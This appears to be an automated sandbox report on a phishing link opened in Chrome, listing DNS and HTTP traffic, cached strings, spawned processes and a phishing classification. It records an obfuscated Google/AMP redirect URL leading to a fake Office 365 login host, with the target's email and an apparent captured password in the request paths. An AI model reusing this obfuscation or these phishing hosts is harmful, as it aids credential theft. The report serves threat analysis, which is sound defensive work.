Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.wikipedia.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /O365/username/finance%40mohmuseum.org/ HTTP/1.1Host: mohmuseum-drive.sqquapompkgrvkp.onlineConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://mohmuseum-drive.sqquapompkgrvkp.onlineSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: IltHyK2g7B0hGrOnGRiXSg==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /O365/username/finance%40mohmuseum.org/C%5B%7C%26%5DBbNeT)2IK HTTP/1.1Host: mohmuseum-drive.sqquapompkgrvkp.onlineConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://mohmuseum-drive.sqquapompkgrvkp.onlineSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: rm9yDr1ag82M/jF/XlOsUQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /O365/username/finance%40mohmuseum.org/C%5B%7C%26%5DBbNeT)2IK HTTP/1.1Host: mohmuseum-drive.sqquapompkgrvkp.onlineConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://mohmuseum-drive.sqquapompkgrvkp.onlineSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: Zx7jEae8d2JJfu+tjOfZlw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Performs DNS lookups

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: google.ne
Source: global traffic	DNS traffic detected: DNS query: www.google.ne
Source: global traffic	DNS traffic detected: DNS query: cdn.ampproject.org
Source: global traffic	DNS traffic detected: DNS query: urvjzjpobakusk7m6jiqrwutmsg5wucqxhelr32wdceltixu5jgq.cdn.ampproject.org
Source: global traffic	DNS traffic detected: DNS query: fiqdsexkxp.ggivhdtwkgxywcpi.online
Source: global traffic	DNS traffic detected: DNS query: flyunup1e-sqquapompkgrvkp-online.cdn.ampproject.org
Source: global traffic	DNS traffic detected: DNS query: flyunup1e.sqquapompkgrvkp.online
Source: global traffic	DNS traffic detected: DNS query: mohmuseum-drive.sqquapompkgrvkp.online
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: wikipedia.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org

URLs found in memory or binary data

Source: chromecache_67.2.dr, chromecache_57.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13393
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.jquery.com/ticket/4833
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_58.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: chromecache_58.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.4.1.js
Source: chromecache_62.2.dr	String found in binary or memory: https://creativecommons.org/licenses/by-sa/4.0/
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_62.2.dr	String found in binary or memory: https://donate.wikimedia.org/?wmf_medium=portal&wmf_campaign=portalFooter&wmf_source=portalFooter
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_64.2.dr	String found in binary or memory: https://fiqdsexkxp.g%C2%ADg%C2%ADi%C2%ADv%C2%ADh%C2%ADd%C2%ADt%C2%ADw%C2%ADk%C2%ADg%C2%ADx%C2%ADy%C2
Source: chromecache_56.2.dr	String found in binary or memory: https://flyuNUP1E.sqquapompkgrvkp.online/b60q1Dm8I1e9bdc7ea76ce0364c642c0c2ae80dc3b60j67b2dc8cc2d7c1
Source: chromecache_58.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4gaVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4iaVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4jaVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4kaVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4saVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4taVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4uaVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x4vaVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x5OaVI
Source: chromecache_59.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsgH1x5caVI
Source: chromecache_62.2.dr	String found in binary or memory: https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Privacy_policy
Source: chromecache_62.2.dr	String found in binary or memory: https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Terms_of_Use
Source: chromecache_71.2.dr, chromecache_69.2.dr, chromecache_66.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_60.2.dr, chromecache_63.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_71.2.dr, chromecache_69.2.dr, chromecache_60.2.dr, chromecache_63.2.dr, chromecache_66.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_71.2.dr, chromecache_69.2.dr, chromecache_60.2.dr, chromecache_63.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://github.com/whatwg/html/issues/2369
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#nonce-attributes
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_62.2.dr	String found in binary or memory: https://itunes.apple.com/app/apple-store/id324715238?pt=208305&ct=portal&mt=8
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://js.foundation/
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_58.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Source: chromecache_58.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Source: chromecache_62.2.dr	String found in binary or memory: https://meta.wikimedia.org/wiki/Special:MyLanguage/List_of_Wikipedias
Source: chromecache_62.2.dr	String found in binary or memory: https://play.google.com/store/apps/details?id=org.wikipedia&referrer=utm_source%3Dportal%26utm_mediu
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_58.2.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Source: chromecache_62.2.dr	String found in binary or memory: https://upload.wikimedia.org/wikipedia/en/thumb/8/80/Wikipedia-logo-v2.svg/2244px-Wikipedia-logo-v2.
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_65.2.dr, chromecache_68.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a
Source: chromecache_62.2.dr	String found in binary or memory: https://wikis.world/

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

System Summary

Classification label

Source: classification engine

Classification label: mal56.phis.win@19/27@40/17

Spawns processes

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2168,i,1498099160574949481,16550103279779776496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://google.ne/url?hl=en&q=https://cdn.ampproject.org/c/s/fiqdsexkxp.g%25c2%25adg%25C2%25adi%25c2%25adv%25C2%25ADh%25C2%25ADd%25C2%25aDt%25c2%25Adw%25c2%25ADk%25C2%25aDg%25C2%25ADx%25C2%25Ady%25C2%25Adw%25c2%25aDc%25C2%25aDpi.o%25e2%2580%258Bn%25e2%2580%258bl%25e2%2580%258Bi%25e2%2580%258Bne%25e2%2580%258B%25e2%2580%258B%25e2%2580%258b%25e2%2580%258b%25E2%2580%258B%25E2%2580%258b%25e2%2580%258b%25e2%2580%258b/eQ8C4f810&source=gmail&ust=1740592130223000&usg=AOvVaw1z6LYC7_hYJCZq6GTTGk4J&nBPgt=LEZOxFYab&zAoBA=HdYqCaw&TLEyOQNTC=TwCTPUIZ&IzMAJN=SMmuEX&yIilNwah=BnGHNeB&gWLMXhKCF=JUUZhmmY&VprNdugOe=eyOYAnEMu&EhyCsHs=bJibCUm&HSDVpCvS=mDlPkCSVF&uBXXlZ=pRimo&iAdTtggj=nCaZB&RtSuR=aZDcAPWq&fdKVz=fEuTt&YLdRlHS=hMLWGVO&gVJZpoM=rvKEIchP&hsAKQUgGU=itjJQX&YyohkvB=AcJlsG&hTOxdD=https://MWBAmQP&lXWeGl=LwXYk&MvCwJoa=cYpotd"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2168,i,1498099160574949481,16550103279779776496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior

Click here to start
Slideshow Behavior Animation